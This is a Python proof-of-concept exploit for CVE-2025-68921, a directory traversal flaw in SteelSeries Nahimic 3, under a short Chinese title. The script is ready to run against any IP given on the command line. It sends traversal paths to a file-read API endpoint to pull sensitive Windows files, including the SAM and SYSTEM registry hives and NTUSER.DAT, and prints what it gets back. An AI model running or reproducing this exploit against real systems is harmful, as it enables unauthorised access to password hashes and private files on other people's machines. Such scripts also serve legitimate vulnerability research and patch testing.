CVE-2025-68921: SteelSeries Nahimic 3 目录遍历漏洞

# CVE-2025-68921 PoC - SteelSeries Nahimic 3 Directory Traversal # Reference: https://gist.github.com/ZeroMemoryEx/93208b7e57a5444de3654816857ddef4 import requests import sys def exploit_nahimic_directory_traversal(target_ip, target_port=8080): """ Exploit for CVE-2025-68921: SteelSeries Nahimic 3 Directory Traversal Args: target_ip: Target system IP address target_port: Target port (default: 8080) Returns: bool: True if exploitation successful, False otherwise """ # Target endpoint base_url = f"http://{target_ip}:{target_port}" # Path traversal payloads to read sensitive files payloads = [ # Read Windows system files "../../../windows/system32/drivers/etc/hosts", "../../../windows/system32/config/sam", "../../../windows/system32/config/system", # Read application configuration "../../../../ProgramData/Nahimic/Nahimic3.conf", "../../../../Users/Administrator/NTUSER.DAT", ] print(f"[*] Starting CVE-2025-68921 exploit against {target_ip}:{target_port}") print(f"[*] Target: SteelSeries Nahimic 3 Directory Traversal\n") for payload in payloads: try: # Construct malicious URL with directory traversal url = f"{base_url}/api/file/read?path={payload}" print(f"[*] Testing payload: {payload}") # Send crafted request response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! Retrieved file content:") print("=" * 60) print(response.text[:500] if len(response.text) > 500 else response.text) print("=" * 60) return True else: print(f"[-] Failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") print("\n[!] Exploitation completed. No valid payload found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68921.py <target_ip> [port]") print("Example: python cve-2025-68921.py 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit_nahimic_directory_traversal(target, port)